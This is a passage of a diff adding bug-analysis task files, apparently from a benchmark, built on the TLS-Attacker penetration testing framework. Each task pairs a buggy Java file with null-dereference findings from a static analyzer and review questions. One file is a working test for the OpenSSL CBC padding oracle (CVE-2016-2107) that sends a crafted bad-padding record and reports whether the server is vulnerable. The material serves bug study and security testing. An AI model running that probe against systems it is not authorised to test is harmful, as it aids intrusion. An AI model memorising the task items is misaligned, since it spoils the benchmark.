+	    extensionBytes = ArrayConverter.concatenate(extensionBytes, extension.getExtensionBytes().getValue());
+	}
+
+	if (extensionBytes != null && extensionBytes.length != 0) {
+	    byte[] extensionLength = ArrayConverter.intToBytes(extensionBytes.length, ExtensionByteLength.EXTENSIONS);
+
+	    result = ArrayConverter.concatenate(result, extensionLength, extensionBytes);
+	}
+
+	protocolMessage.setLength(result.length);
+
+	long header = (HandshakeMessageType.SERVER_HELLO.getValue() << 24) + protocolMessage.getLength().getValue();
+
+	protocolMessage.setCompleteResultingMessage(ArrayConverter.concatenate(
+		ArrayConverter.longToUint32Bytes(header), result));
+
+	return protocolMessage.getCompleteResultingMessage().getValue();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `serverProtocolVersion` last assigned on line 63 could be null and is dereferenced at line 65.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int ServerHelloHandler.parseMessageAction(byte[],int)
+
+### Procedure Id:
+de.rub.nds.tlsattacker.tls.protocol.handshake.ServerHelloHandler.parseMessageAction(byte[],int):int.0efae2b55e7c81558ac3380a3152b89f
+
+### File:
+TLS/src/main/java/de/rub/nds/tlsattacker/tls/protocol/handshake/ServerHelloHandler.java
+
+### Key:
+ServerHelloHandler.java|parseMessageAction|NULL_DEREFERENCE
+
+### Node Key:
+2ad2c69f89cd458ad84f96f60007b771
+
+### Hash:
+8d11f2cd07cf0a421d0aa9d783cede13
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7581/instruction.md b/inferredbugs-7581/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..16851285aa1dd0bf148a620a89889ed1ac44df07
--- /dev/null
+++ b/inferredbugs-7581/instruction.md
@@ -0,0 +1,252 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** TLS-Attacker
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * TLS-Attacker - A Modular Penetration Testing Framework for TLS
+ *
+ * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.tlsattacker.attacks.impl;
+
+import de.rub.nds.tlsattacker.attacks.config.Cve20162107CommandConfig;
+import de.rub.nds.tlsattacker.tls.Attacker;
+import de.rub.nds.tlsattacker.modifiablevariable.VariableModification;
+import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory;
+import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray;
+import de.rub.nds.tlsattacker.tls.config.ConfigHandler;
+import de.rub.nds.tlsattacker.tls.constants.AlertDescription;
+import de.rub.nds.tlsattacker.tls.constants.AlertLevel;
+import de.rub.nds.tlsattacker.tls.constants.CipherSuite;
+import de.rub.nds.tlsattacker.transport.ConnectionEnd;
+import de.rub.nds.tlsattacker.tls.constants.HandshakeMessageType;
+import de.rub.nds.tlsattacker.tls.constants.ProtocolMessageType;
+import de.rub.nds.tlsattacker.tls.constants.ProtocolVersion;
+import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
+import de.rub.nds.tlsattacker.tls.protocol.ProtocolMessage;
+import de.rub.nds.tlsattacker.tls.protocol.alert.AlertMessage;
+import de.rub.nds.tlsattacker.tls.protocol.handshake.FinishedMessage;
+import de.rub.nds.tlsattacker.tls.record.Record;
+import de.rub.nds.tlsattacker.tls.util.LogLevel;
+import de.rub.nds.tlsattacker.tls.workflow.TlsConfig;
+import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
+import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
+import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace;
+import de.rub.nds.tlsattacker.tls.workflow.action.ReceiveAction;
+import de.rub.nds.tlsattacker.transport.TransportHandler;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * Tests for the availability of the OpenSSL padding oracle (CVE-2016-2107).
+ * 
+ * @author Juraj Somorovsky (juraj.somorovsky@rub.de)
+ */
+public class Cve20162107 extends Attacker<Cve20162107CommandConfig> {
+
+    private static final Logger LOGGER = LogManager.getLogger(Cve20162107.class);
+
+    private final List<ProtocolMessage> lastMessages;
+
+    public Cve20162107(Cve20162107CommandConfig config) {
+        super(config);
+        lastMessages = new LinkedList<>();
+    }
+
+    @Override
+    public void executeAttack(ConfigHandler configHandler) {
+        ProtocolVersion[] versions;
+        TlsConfig tlsConfig = configHandler.initialize(config);
+
+        if (tlsConfig.getHighestProtocolVersion() == null) {
+            versions = new ProtocolVersion[] { ProtocolVersion.TLS10, ProtocolVersion.TLS11, ProtocolVersion.TLS12 };
+        } else {
+            versions = new ProtocolVersion[] { tlsConfig.getHighestProtocolVersion() };// TODO
+                                                                                // Initialisation
+                                                                                // should
+                                                                                // be
+                                                                                // done
+                                                                                // in
+                                                                                // config
+        }
+        List<CipherSuite> ciphers = new LinkedList<>();
+        if (tlsConfig.getSupportedCiphersuites().isEmpty()) {
+            for (CipherSuite cs : CipherSuite.getImplemented()) {
+                if (cs.isCBC()) {
+                    ciphers.add(cs);
+                }
+            }
+        } else {
+            ciphers = tlsConfig.getSupportedCiphersuites();
+        }
+
+        for (ProtocolVersion pv : versions) {
+            for (CipherSuite cs : ciphers) {
+                tlsConfig.setHighestProtocolVersion(pv);
+                tlsConfig.setSupportedCiphersuites(Collections.singletonList(cs)); // TODO
+                                                                                   // what
+                executeAttackRound(configHandler);
+            }
+        }
+
+        if (vulnerable) {
+            LOGGER.log(LogLevel.CONSOLE_OUTPUT, "VULNERABLE");
+        } else {
+            LOGGER.log(LogLevel.CONSOLE_OUTPUT, "NOT VULNERABLE");
+        }
+
+        LOGGER.debug("All the attack runs executed. The following messages arrived at the ends of the connections");
+        for (ProtocolMessage pm : lastMessages) {
+            LOGGER.debug("----- NEXT TLS CONNECTION WITH MODIFIED APPLICATION DATA RECORD -----");
+            LOGGER.debug("Last protocol message in the protocol flow");
+            LOGGER.debug(pm.toString());
+        }
+    }
+
+    private void executeAttackRound(ConfigHandler configHandler) {
+        TlsConfig tlsConfig = configHandler.initialize(config);
+        LOGGER.info("Testing {}, {}", tlsConfig.getHighestProtocolVersion(), tlsConfig.getSupportedCiphersuites().get(0));
+
+        TransportHandler transportHandler = configHandler.initializeTransportHandler(tlsConfig);
+        TlsContext tlsContext = configHandler.initializeTlsContext(tlsConfig);
+        WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext);
+
+        WorkflowTrace trace = tlsContext.getWorkflowTrace();
+
+        FinishedMessage finishedMessage = (FinishedMessage) trace
+                .getFirstConfiguredSendMessageOfType(HandshakeMessageType.FINISHED);
+        Record record = createRecordWithBadPadding();
+        finishedMessage.addRecord(record);
+
+        // Remove last two server messages (CCS and Finished). Instead of them,
+        // an alert will be sent.
+        AlertMessage alertMessage = new AlertMessage(tlsConfig);
+
+        ReceiveAction action = (ReceiveAction) (trace.getLastMessageAction());
+        List<ProtocolMessage> messages = new LinkedList<>();
+        messages.add(alertMessage);
+        action.setConfiguredMessages(lastMessages);
+        try {
+            workflowExecutor.executeWorkflow();
+        } catch (WorkflowExecutionException ex) {
+            LOGGER.info("Not possible to finalize the defined workflow: {}", ex.getLocalizedMessage());
+        }
+
+        ProtocolMessage lm = trace.getLastConfiguredReceiveMesssage();
+        lastMessages.add(lm);
+        tlsContexts.add(tlsContext);
+
+        if (lm.getProtocolMessageType() == ProtocolMessageType.ALERT) {
+            AlertMessage am = ((AlertMessage) lm);
+            LOGGER.info("  Last protocol message: Alert ({},{}) [{},{}]", AlertLevel.getAlertLevel(am.getLevel()
+                    .getValue()), AlertDescription.getAlertDescription(am.getDescription().getValue()), am.getLevel()
+                    .getValue(), am.getDescription().getValue());
+        } else {
+            LOGGER.info("  Last protocol message: {}", lm.getProtocolMessageType());
+        }
+
+        if (lm.getProtocolMessageType() == ProtocolMessageType.ALERT
+                && ((AlertMessage) lm).getDescription().getValue() == 22) {
+            LOGGER.info("  Vulnerable");
+            vulnerable = true;
+        } else {
+            LOGGER.info("  Not Vulnerable / Not supported");
+        }
+
+        transportHandler.closeConnection();
+    }
+
+    private Record createRecordWithBadPadding() {
+        byte[] plain = new byte[] { (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255,
+                (byte) 255 };
+        Record r = new Record();
+        ModifiableByteArray plainData = new ModifiableByteArray();
+        VariableModification<byte[]> modifier = ByteArrayModificationFactory.explicitValue(plain);
+        plainData.setModification(modifier);
+        r.setPlainRecordBytes(plainData);
+        return r;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `trace` last assigned on line 117 could be null and is dereferenced at line 120.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Cve20162107.executeAttackRound(ConfigHandler)
+
+### Procedure Id:
+de.rub.nds.tlsattacker.attacks.impl.Cve20162107.executeAttackRound(de.rub.nds.tlsattacker.tls.config.4a1826783ea5b8e7c4668d0458614bd2
+
+### File:
+Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/Cve20162107.java
+
+### Key:
+Cve20162107.java|executeAttackRound|NULL_DEREFERENCE
+
+### Node Key:
+03f78c8e698e098c7d7421c6d3e394e4
+
+### Hash:
+9b3cd559ae56e6ff628865e193b09e62
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7586/instruction.md b/inferredbugs-7586/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..76353c9e3fba517544030ece76046dc5cd45d79c
--- /dev/null
+++ b/inferredbugs-7586/instruction.md
@@ -0,0 +1,309 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** TLS-Attacker
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * TLS-Attacker - A Modular Penetration Testing Framework for TLS
+ *
+ * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.tlsattacker.tls.protocol.handshake.handler;
+
+import de.rub.nds.tlsattacker.dtls.protocol.handshake.ClientHelloDtlsMessage;
+import de.rub.nds.tlsattacker.tls.constants.CipherSuite;
+import de.rub.nds.tlsattacker.tls.constants.CompressionMethod;
+import de.rub.nds.tlsattacker.tls.constants.ExtensionByteLength;
+import de.rub.nds.tlsattacker.tls.constants.ExtensionType;
+import de.rub.nds.tlsattacker.tls.constants.HandshakeByteLength;
+import de.rub.nds.tlsattacker.tls.constants.HandshakeMessageType;
+import de.rub.nds.tlsattacker.tls.constants.ProtocolVersion;
+import de.rub.nds.tlsattacker.tls.constants.RecordByteLength;
+import de.rub.nds.tlsattacker.tls.exceptions.InvalidMessageTypeException;
+import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
+import de.rub.nds.tlsattacker.tls.protocol.extension.ExtensionHandler;
+import de.rub.nds.tlsattacker.tls.protocol.extension.ExtensionMessage;
+import de.rub.nds.tlsattacker.tls.protocol.handshake.ClientHelloMessage;
+import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
+import de.rub.nds.tlsattacker.util.ArrayConverter;
+import de.rub.nds.tlsattacker.util.RandomHelper;
+import de.rub.nds.tlsattacker.util.Time;
+import java.util.Arrays;
+
+/**
+ * @author Juraj Somorovsky <juraj.somorovsky@rub.de>
+ * @author Philip Riese <philip.riese@rub.de>
+ * @param <HandshakeMessage>
+ */
+public class ClientHelloHandler<Message extends ClientHelloMessage> extends HandshakeMessageHandler<Message> {
+
+    @SuppressWarnings("unchecked")
+    public ClientHelloHandler(TlsContext tlsContext) {
+        super(tlsContext);
+        this.correctProtocolMessageClass = (Class<? extends Message>) ClientHelloMessage.class;
+    }
+
+    @Override
+    public byte[] prepareMessageAction() {
+        protocolMessage.setProtocolVersion(tlsContext.getConfig().getHighestProtocolVersion().getValue());
+        protocolMessage.setSessionId(tlsContext.getConfig().getSessionId());
+        int length = protocolMessage.getSessionId().getValue().length;
+        protocolMessage.setSessionIdLength(length);
+        final long unixTime = Time.getUnixTime();
+        protocolMessage.setUnixTime(ArrayConverter.longToUint32Bytes(unixTime));
+        byte[] random = new byte[HandshakeByteLength.RANDOM];
+        RandomHelper.getRandom().nextBytes(random);
+        protocolMessage.setRandom(random);
+        tlsContext.setClientRandom(ArrayConverter.concatenate(protocolMessage.getUnixTime().getValue(), protocolMessage
+                .getRandom().getValue()));
+        byte[] cookieArray = new byte[0];
+        // Ugly but more secure
+        if (protocolMessage instanceof ClientHelloDtlsMessage) {
+            ClientHelloDtlsMessage dtlsClientHello = (de.rub.nds.tlsattacker.dtls.protocol.handshake.ClientHelloDtlsMessage) protocolMessage;
+            dtlsClientHello.setCookie(tlsContext.getDtlsHandshakeCookie());
+            dtlsClientHello.setCookieLength((byte) tlsContext.getDtlsHandshakeCookie().length);
+            cookieArray = ArrayConverter.concatenate(new byte[] { dtlsClientHello.getCookieLength().getValue() },
+                    dtlsClientHello.getCookie().getValue());
+        }
+
+        byte[] cipherSuites = new byte[0];
+        for (CipherSuite cs : tlsContext.getConfig().getSupportedCiphersuites()) {
+            cipherSuites = ArrayConverter.concatenate(cipherSuites, cs.getByteValue());
+        }
+        protocolMessage.setCipherSuites(cipherSuites);
+        int cipherSuiteLength = 0;
+        cipherSuiteLength = protocolMessage.getCipherSuites().getValue().length;
+        protocolMessage.setCipherSuiteLength(cipherSuiteLength);
+
+        byte[] compressionMethods = new byte[0];
+        for (CompressionMethod cm : tlsContext.getConfig().getSupportedCompressionMethods()) {
+            compressionMethods = ArrayConverter.concatenate(compressionMethods, cm.getArrayValue());
+        }
+        protocolMessage.setCompressions(compressionMethods);
+
+        int compressionMethodLength = protocolMessage.getCompressions().getValue().length;
+        protocolMessage.setCompressionLength(compressionMethodLength);
+
+        byte[] result = ArrayConverter.concatenate(protocolMessage.getProtocolVersion().getValue(), protocolMessage
+                .getUnixTime().getValue(), protocolMessage.getRandom().getValue(), ArrayConverter.intToBytes(
+                protocolMessage.getSessionIdLength().getValue(), 1), protocolMessage.getSessionId().getValue(),
+                cookieArray, ArrayConverter.intToBytes(protocolMessage.getCipherSuiteLength().getValue(),
+                        HandshakeByteLength.CIPHER_SUITE), protocolMessage.getCipherSuites().getValue(),
+                ArrayConverter.intToBytes(protocolMessage.getCompressionLength().getValue(),
+                        HandshakeByteLength.COMPRESSION), protocolMessage.getCompressions().getValue());
+
+        byte[] extensionBytes = null;
+
+        if (tlsContext.getConfig().isMitm()) {
+            extensionBytes = protocolMessage.getExtensionBytes();
+            result = ArrayConverter.concatenate(result, extensionBytes);
+        } else {
+            for (ExtensionMessage extension : protocolMessage.getExtensions()) {
+                ExtensionHandler handler = extension.getExtensionHandler();
+                handler.setExtensionMessage(extension);
+                handler.prepareExtension(tlsContext);
+                extensionBytes = ArrayConverter.concatenate(extensionBytes, extension.getExtensionBytes().getValue());
+            }
+
+            if (extensionBytes != null && extensionBytes.length != 0) {
+                byte[] extensionLength = ArrayConverter.intToBytes(extensionBytes.length,
+                        ExtensionByteLength.EXTENSIONS);
+
+                result = ArrayConverter.concatenate(result, extensionLength, extensionBytes);
+            }
+        }
+
+        protocolMessage.setLength(result.length);
+
+        long header = (HandshakeMessageType.CLIENT_HELLO.getValue() << 24) + protocolMessage.getLength().getValue();
+
+        protocolMessage.setCompleteResultingMessage(ArrayConverter.concatenate(
+                ArrayConverter.longToUint32Bytes(header), result));
+
+        return protocolMessage.getCompleteResultingMessage().getValue();
+    }
+
+    @Override
+    public int parseMessageAction(byte[] message, int pointer) {
+        if (message[pointer] != HandshakeMessageType.CLIENT_HELLO.getValue()) {
+            throw new InvalidMessageTypeException("This is not a client hello message");
+        }
+        protocolMessage.setType(message[pointer]);
+
+        int currentPointer = pointer + HandshakeByteLength.MESSAGE_TYPE;
+        int nextPointer = currentPointer + HandshakeByteLength.MESSAGE_TYPE_LENGTH;
+        int length = ArrayConverter.bytesToInt(Arrays.copyOfRange(message, currentPointer, nextPointer));
+        protocolMessage.setLength(length);
+
+        currentPointer = nextPointer;
+        nextPointer = currentPointer + RecordByteLength.PROTOCOL_VERSION;
+        ProtocolVersion serverProtocolVersion = ProtocolVersion.getProtocolVersion(Arrays.copyOfRange(message,
+                currentPointer, nextPointer));
+        protocolMessage.setProtocolVersion(serverProtocolVersion.getValue());
+        currentPointer = nextPointer;
+        nextPointer = currentPointer + HandshakeByteLength.UNIX_TIME;
+        protocolMessage.setUnixTime(Arrays.copyOfRange(message, currentPointer, nextPointer));
+
+        currentPointer = nextPointer;
+        nextPointer = currentPointer + HandshakeByteLength.RANDOM;
+        protocolMessage.setRandom(Arrays.copyOfRange(message, currentPointer, nextPointer));
+
+        tlsContext.setClientRandom(ArrayConverter.concatenate(protocolMessage.getUnixTime().getValue(), protocolMessage
+                .getRandom().getValue()));
+
+        currentPointer = nextPointer;
+        nextPointer += HandshakeByteLength.SESSION_ID_LENGTH;
+        int sessionIdLength = ArrayConverter.bytesToInt(Arrays.copyOfRange(message, currentPointer, nextPointer));
+        protocolMessage.setSessionIdLength(sessionIdLength);
+
+        currentPointer = nextPointer;
+        nextPointer += sessionIdLength;
+        protocolMessage.setSessionId(Arrays.copyOfRange(message, currentPointer, nextPointer));
+
+        // handle unknown SessionID during Session resumption
+        if (tlsContext.getConfig().isSessionResumption()
+                && !(Arrays.equals(tlsContext.getSessionID(), protocolMessage.getSessionId().getValue()))) {
+            throw new WorkflowExecutionException("Session ID is unknown to the Server");
+        }
+        // TODO !!!
+        if (tlsContext.getConfig().getHighestProtocolVersion() == ProtocolVersion.DTLS12
+                || tlsContext.getConfig().getHighestProtocolVersion() == ProtocolVersion.DTLS10) {
+            de.rub.nds.tlsattacker.dtls.protocol.handshake.ClientHelloDtlsMessage dtlsClientHello = (de.rub.nds.tlsattacker.dtls.protocol.handshake.ClientHelloDtlsMessage) protocolMessage;
+            currentPointer = nextPointer;
+            nextPointer += HandshakeByteLength.DTLS_HANDSHAKE_COOKIE_LENGTH;
+            byte cookieLength = message[currentPointer];
+            dtlsClientHello.setCookieLength(cookieLength);
+
+            currentPointer = nextPointer;
+            nextPointer += cookieLength;
+            dtlsClientHello.setCookie(Arrays.copyOfRange(message, currentPointer, nextPointer));
+        }
+
+        currentPointer = nextPointer;
+        nextPointer += HandshakeByteLength.CIPHER_SUITE;
+        int cipherSuitesLength = ArrayConverter.bytesToInt(Arrays.copyOfRange(message, currentPointer, nextPointer));
+        protocolMessage.setCipherSuiteLength(cipherSuitesLength);
+
+        currentPointer = nextPointer;
+        nextPointer += cipherSuitesLength;
+        protocolMessage.setCipherSuites(Arrays.copyOfRange(message, currentPointer, nextPointer));
+
+        tlsContext.setClientSupportedCiphersuites(CipherSuite.getCiphersuites(protocolMessage.getCipherSuites()
+                .getValue()));
+        currentPointer = nextPointer;
+        nextPointer += HandshakeByteLength.COMPRESSION;
+        int compressionsLength = ArrayConverter.bytesToInt(Arrays.copyOfRange(message, currentPointer, nextPointer));
+        protocolMessage.setCompressionLength(compressionsLength);
+
+        currentPointer = nextPointer;
+        nextPointer += compressionsLength;
+        protocolMessage.setCompressions(Arrays.copyOfRange(message, currentPointer, nextPointer));
+
+        byte[] compression = protocolMessage.getCompressions().getValue();
+        tlsContext.setCompressionMethod(CompressionMethod.getCompressionMethod(compression[0]));
+
+        currentPointer = nextPointer;
+        if ((currentPointer - pointer) < length) {
+            currentPointer += ExtensionByteLength.EXTENSIONS;
+
+            while ((currentPointer - pointer) < length) {
+                nextPointer = currentPointer + ExtensionByteLength.TYPE;
+                byte[] extensionType = Arrays.copyOfRange(message, currentPointer, nextPointer);
+                // Not implemented/unknown extensions will generate an Exception
+                // ...
+                try {
+                    ExtensionHandler<? extends ExtensionMessage> eh = ExtensionType.getExtensionType(extensionType)
+                            .getExtensionHandler();
+                    currentPointer = eh.parseExtension(message, currentPointer);
+                    protocolMessage.addExtension(eh.getExtensionMessage());
+                }
+                // ... which we catch, then disregard that extension and carry
+                // on.
+                catch (Exception ex) {
+                    currentPointer = nextPointer;
+                    nextPointer += 2;
+                    currentPointer += ArrayConverter.bytesToInt(Arrays
+                            .copyOfRange(message, currentPointer, nextPointer));
+                    nextPointer += 2;
+                    currentPointer += 2;
+                }
+            }
+        }
+
+        protocolMessage.setCompleteResultingMessage(Arrays.copyOfRange(message, pointer, currentPointer));
+
+        return (currentPointer - pointer);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `serverProtocolVersion` last assigned on line 138 could be null and is dereferenced at line 140.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int ClientHelloHandler.parseMessageAction(byte[],int)
+
+### Procedure Id:
+de.rub.nds.tlsattacker.tls.protocol.handshake.handler.ClientHelloHandler.parseMessageAction(byte[],i.efd344123ffd19bf71dcbb2a83b42793
+
+### File:
+TLS-Core/src/main/java/de/rub/nds/tlsattacker/tls/protocol/handshake/handler/ClientHelloHandler.java
+
+### Key:
+ClientHelloHandler.java|parseMessageAction|NULL_DEREFERENCE
+
+### Node Key:
+2ad2c69f89cd458ad84f96f60007b771
+
+### Hash:
+fb01245a5410da5a145d7372421fa858
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7587/instruction.md b/inferredbugs-7587/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8286bdf87997dffb277d3e2cf3de43928c29e16e
--- /dev/null
+++ b/inferredbugs-7587/instruction.md
@@ -0,0 +1,173 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** TLS-Attacker
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * TLS-Attacker - A Modular Penetration Testing Framework for TLS
+ *
+ * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.tlsattacker.main;
+
+import com.beust.jcommander.JCommander;
+import de.rub.nds.tlsattacker.tls.client.ClientCommandConfig;
+import de.rub.nds.tlsattacker.tls.config.delegate.GeneralDelegate;
+import de.rub.nds.tlsattacker.tls.exceptions.ConfigurationException;
+import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
+import de.rub.nds.tlsattacker.tls.util.LogLevel;
+import de.rub.nds.tlsattacker.tls.util.WorkflowTraceSerializer;
+import de.rub.nds.tlsattacker.tls.workflow.TlsConfig;
+import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
+import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
+import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutorFactory;
+import de.rub.nds.tlsattacker.transport.TransportHandler;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.logging.Level;
+import javax.xml.bind.JAXBException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * A TLS-TLSClient implementation that supports custom Workflows
+ * 
+ * @author Robert Merget - robert.merget@rub.de
+ */
+public class TLSClient {
+
+    private static final Logger LOGGER = LogManager.getLogger("Client");
+
+    public static void main(String args[]) {
+        ClientCommandConfig config = new ClientCommandConfig(new GeneralDelegate());
+        JCommander commander = new JCommander(config);
+        Exception ex = null;
+        try {
+            commander.parse(args);
+        } catch (Exception E) {
+            LOGGER.info("Could not parse provided parameters");
+            LOGGER.debug(E);
+            commander.usage();
+            ex = E;
+        }
+        if (ex == null) {
+            // Cmd was parsable
+            TlsConfig tlsConfig = null;
+            try {
+                tlsConfig = config.createConfig();
+                TLSClient client = new TLSClient();
+                client.startTlsClient(tlsConfig);
+            } catch (ConfigurationException E) {
+                LOGGER.info("Encountered a ConfigurationException aborting.");
+                LOGGER.debug(E);
+            }
+
+        }
+    }
+
+    public void startTlsClient(TlsConfig config) {
+        TlsContext tlsContext = new TlsContext(config);
+        WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(config.getExecutorType(),
+                tlsContext);
+
+        try {
+            workflowExecutor.executeWorkflow();
+        } catch (WorkflowExecutionException ex) {
+            LOGGER.info("The TLS protocol flow was not executed completely, follow the debug messages for more information.");
+            LOGGER.debug(ex.getLocalizedMessage(), ex);
+        }
+
+        if (config.getWorkflowOutput() != null && !config.getWorkflowOutput().isEmpty()) {
+            FileOutputStream fos = null;
+            try {
+                fos = new FileOutputStream(config.getWorkflowOutput());
+                WorkflowTraceSerializer.write(fos, tlsContext.getWorkflowTrace());
+            } catch (FileNotFoundException ex) {
+                java.util.logging.Logger.getLogger(TLSClient.class.getName()).log(Level.SEVERE, null, ex);
+            } catch (JAXBException | IOException ex) {
+                LOGGER.info("Could not serialize WorkflowTrace.");
+                LOGGER.debug(ex);
+            } finally {
+                try {
+                    fos.close();
+                } catch (IOException ex) {
+                    LOGGER.debug(ex);
+                }
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `fos` last assigned on line 80 could be null and is dereferenced at line 91.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TLSClient.startTlsClient(TlsConfig)
+
+### Procedure Id:
+de.rub.nds.tlsattacker.main.TLSClient.startTlsClient(de.rub.nds.tlsattacker.tls.workflow.TlsConfig):.ff15217b61a242deaf3d97db948251a9
+
+### File:
+TLS-Client/src/main/java/de/rub/nds/tlsattacker/main/TLSClient.java
+
+### Key:
+TLSClient.java|startTlsClient|NULL_DEREFERENCE
+
+### Node Key:
+befc1e6da835838381fc1bcb984dfebd
+
+### Hash:
+c4a697a5612da9374735bd54e1dc8255
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7588/instruction.md b/inferredbugs-7588/instruction.md
new file mode 100644
